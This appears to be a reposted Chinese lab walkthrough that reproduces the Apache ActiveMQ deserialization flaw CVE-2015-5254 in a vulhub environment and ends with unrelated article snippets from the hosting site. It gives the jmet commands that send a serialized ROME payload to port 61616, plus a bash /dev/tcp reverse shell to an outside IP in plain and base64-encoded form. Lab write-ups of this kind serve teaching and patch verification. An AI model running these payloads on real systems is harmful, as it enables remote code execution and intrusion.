ActiveMQ 反序列化漏洞(CVE-2015-5254)

ActiveMQ 反序列化漏洞

Apache ActiveMQ是一种开源的消息代理(message broker),被广泛用于应用程序之间的消息传递。它提供可靠的消息传递模式,如发布/订阅、点对点和请求/响应,非常适合构建分布式系统和应用程序集成。ActiveMQ支持多种消息协议,包括JMS(Java消息服务)、AMQP(高级消息队列协议)和STOMP(简单文本传输协议),使得它能够与不同的客户端和应用程序进行通信。它还提供了高可用性、消息持久化、消息过滤、事务支持等功能,使得开发者能够构建可靠、可扩展的消息传递系统。

说明内容
漏洞编号CVE-2015-5254
漏洞名称ActiveMQ 反序列化漏洞
漏洞评级高危
影响范围ActiveMQ 5.13.0以前版本
漏洞描述java反序列化任意代码执行
修复方案升级到Apache ActiveMQ 5.13.0及以上版本

漏洞描述

Apache ActiveMQ是由美国Pachitea(Apache)软件基金会开发的开源消息中间件,支持Java消息服务、集群、Spring框架等。

CVE-2015-5254:该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞等级

评定方式等级
威胁等级严重
影响面广泛

基础环境

  • www.vulhub.org
  • cd …/vulhub/activemq/CVE-2015-5254
  • docker compose up -d

漏洞复现

漏洞利用过程如下:
  1. 构造可执行命令的java序列化对象(ysoserial集合了各种java反序列化payload,而jmet集成了ysoserial)
  2. 将序列化对象作为一个消息,发送给目标61616工作端口
  3. 访问web管理页面➡读取消息➡触发漏洞
漏洞复现

环境搭建好后访问your-ip:8186,出现这个页面表示环境搭建成功。

ActiveMQ:8186 管理端口, 61616 默认服务端口 。

image-20230914111331809

kali中下载jmet的jar包,里面集成了ysoserial,运行jar包jdk环境要对应,我的jdk是1.8版本,jdk17执行失败了。

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

下载后同目录下创建一个external文件夹,否则可能会出错。

执行以下代码发送一个消息给服务器

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 114.115.172.115 61616

-Q myevent:指定要投递的事件名称。jmet会使用该事件名称的payload封装成消息投递。
-I ActiveMQ:指定目标类型,这里使用ActiveMQ。
-s:表示使用序列化方式执行攻击。
-Y “touch /tmp/success”:指定要执行的命令。
-Yp ROME:指定使用ysoserial生成的ROMEpayload。ROME能生成TemplatesImpl对象的payload。
114.115.172.115 61616:指定目标ActiveMQ的地址和端口。

访问:http://your.ip:8161/admin/browse.jsp?JMSDestination=event

默认账号密码:admin,admin

当点击消息的时候我们的命令将会被执行。

image-20230914120536037

image-20230914120419752

当点击了这条消息后我们的命令就被触发执行了,说明是有这个漏洞的。

image-20230914120436520

反弹shell

想要执行反弹shell我们需要对反弹shell命令做一个base64编码才可以执行,要么会执行失败。

首先准备好一个反弹shell,然后base64编码

bash -i >& /dev/tcp/114.115.172.115/9002 0>&1
https://ctf.bugku.com/tool/base64  #编码网站
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE1LjE3Mi4xMTUvOTAwMiAwPiYx

再次向服务器发送消息,ActiveMQ的消息队列中会增加一条,当这条被点击的时候我们的反弹shell也就会被执行。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE1LjE3Mi4xMTUvOTAwMiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 114.115.172.115 61616

点击一下

image-20230914122202099

我们服务器监听的地方就可以拿到一个反弹shell了。

image-20230914121603298

修复建议

1、升级到Apache ActiveMQ 5.13.0及以上版本或更新补丁。

网址如下:
http://activemq.apache.org/security-advisories.data

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/222391.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

感觉到自己思想扭曲了

突然觉得自己思想有点扭曲。 ​起因是近期备婚,需要给男方家人买衣服。问男朋友妹妹衣服预算多少,说是500内,然后想想自己这个新娘子,那一身衣服绞尽脑汁凑满减不到300。再联想到装饰新房,新房买家具,为了省…

为 3D 模型制作纹理的 9 种最佳方法

在线工具推荐: 3D数字孪生场景编辑器 - GLTF/GLB材质纹理编辑器 - 3D模型在线转换 - Three.js AI自动纹理开发包 - YOLO 虚幻合成数据生成器 - 三维模型预览图生成器 - 3D模型语义搜索引擎 与普遍的看法相反,3D 模型的纹理创建更加简单。虽然对细节…

【PyQt学习篇 · ⑫】:QVBoxLayout和QHBoxLayout布局管理器的使用

文章目录 QVBoxLayout和QHBoxLayout的介绍.addStretch()的使用方法.setSpacing()方法的使用.setAlignment()的使用.setFixedSize()的使用QMainWindow中使用布局管理器 QVBoxLayout和QHBoxLayout的介绍 QVBoxLayout 和 QHBoxLayout 是 PyQt 中用于实现垂直和水平布局的两个布局…

CoreDNS实战(五)-接入prometheus监控

1 背景 Prometheus插件作为coredns的Plugins,默认情况下是内置在coredns中,如果是自己编译安装的版本,需要注意在编译安装的时候的plugin.cfg文件中添加了prometheus:metrics,这样才能确保编译成功。 # 首先我们检查一下运行的版…

Python-炸弹人【附完整源码】

炸弹人 炸弹人是童年的一款经典电子游戏,玩家控制一个类似"炸弹人"的角色,这个角色可以放置炸弹,并在指定的时间内引爆它们消灭敌人以达到目标,此游戏共设有两节关卡,代码如下: 运行效果&#x…

介绍几个有意思的 GitHub 仓库

大家好,我是风筝。 今天介绍几个很有意思的 github 开源项目,看过之后就会发现,github 果然深意暗藏。 GitHub对于程序员来说,再熟悉不过了,绝大多数时候,我们到上面都是为了学习高质量的源代码&#xff…

12 月 10 日,融云在 Google DevFest 上海站等你!

Welcome to DevFest!RongCloud2023 Google DevFest 上海站关注【融云全球互联网通信云】了解更多 时间:2023 年 12 月 10 日(周日)地点:上海市浦东新区新金桥路 1599 号,东方万国宴会中心 (下沉式广场)主讲&#xff1a…

Unity3D对CSV文件操作(创建、读取、写入、修改)

系列文章目录 Unity工具 文章目录 系列文章目录前言一、Csv是什么?二、创建csv文件2-1、构建表数据2-2、创建表方法2-3、完整的脚本(第一种方式)2-4、运行结果2-5、完整的脚本(第二种方式)2-6、运行结果2-7、想用哪种…

【性能测试】业务/吞吐量与存量数据设计关系+压测常见解决方案

目录:导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜) 前言 1、性能测试中业务…

设计模式之GoF23介绍

深入探讨设计模式:构建可维护、可扩展的软件架构 一、设计模式的背景1.1 什么是设计模式1.2 设计模式的历史 二、设计模式的分类2.1 创建型模式2.2 结构型模式2.3 行为型模式 三、七大设计原则四、设计模式关系结论 :rocket: :rocket: :rocket: 在软件开发领域&…

软件工程之系统质量

从公众号转载,关注微信公众号掌握更多技术动态 --------------------------------------------------------------- 一 、质量标准化 1.什么是质量标准化 通过标准化各条业务线的研发流程,以做的比较好的业务线作为标准样板间,规范出一套标…

使用squid配置高匿代理

背景介绍 为什么要设置高匿代理? 在家和开放平台交互的时候,需要设置白名单,否则无法交互。家里的白名单一直变。 服务部署到服务器太麻烦,调试不方便。 于是就想通过代理的方式,让服务器替我发送这次请求&#xf…

使用Java语言进行账户登录和密码输入

一、操作原理 使用Scanner扫描器进行扫描,使用if语句、if-else语句和else进行账户和密码的验证。 二、相关代码 import java.util.Scanner; public class CheckLoginDemo {public static void main(String[] args){try (Scanner scan new Scanner(System.in)) …

方格取数问题

更好的阅读体验 方格取数。 题目:方格取数 设有 NN 的方格图,我们在其中的某些方格中填入正整数,而其它的方格中则放入数字0。如下图所示: 某人从图中的左上角 A 出发,可以向下行走,也可以向右行走&#x…

设备制造行业CRM:提升客户满意度,驱动业务增长

设备制造行业客户需求多样化、服务链路长,企业在关注APS、EMS等工业软件之余还要以客户为中心,做好客户服务。设备制造行业CRM管理系统是企业管理客户关系的利器,设备制造行业CRM的作用有哪些?一文带您看懂。 设备制造行业需要解…

金蝶云星空单据编辑界面,不允许批量填充操作

文章目录 金蝶云星空单据编辑界面,不允许批量填充操作案例演示开发设计测试 金蝶云星空单据编辑界面,不允许批量填充操作 案例演示 售后单,明细信息单据体,物料编码字段禁止批量填充。 开发设计 编写表单插件,在Be…

绝地求生游戏一定要先训练吗?

绝地求生(PlayerUnknowns Battlegrounds,简称PUBG)作为一款大热的多人在线生存游戏,自上线以来一直备受玩家追捧。对于新手玩家来说,刚接触这款游戏时常常觉得难以上手,需要进行一定的训练才能够在游戏中取…

Java毕业设计—vue+SpringBoot人事管理OA系统前后端分离

1,项目介绍 本系统主要分四个模块,分别是系统管理和权限管理、薪资管理、考勤管理 2,技术框架 前端 Vue、Axios、ElementUI、Vue-Router、Vuex、ECharts后端 Spring Boot、JWT、MyBatis-Plus、MySQL、Hutool 3,开发环境 JAVA…

【刘二大人】pytorch深度学习实践(三):如何实现线性模型的反向传播+代码实现详解(Tensor、backward函数)

目录 参考资料一、反向传播流程1.1 问题1.2 方法1.3 步骤1.4 例题 二、Pytorch中前向传播和反馈的计算2.1 tensor数据类型2.2 定义线性模型并且计算损失2.2.1 torch.tensor.item()2.2.2 代码 2.3 反向传播2.3.1 torch.tensor.backward()2.3.2 tensor.zero_( )2.3.3 代码实现 三…

企业机密无忧!好用的文件加密系统大揭秘,尽在这里!

由于众多企业内部都存储着大量机密数据,以电子文档形式存在,且传播手段多样,文件泄密问题容易发生。员工通过网络泄密重要文件,或黑客入侵窃取机密数据等情况,都可能导致企业业务和声誉受到严重损害。因此,…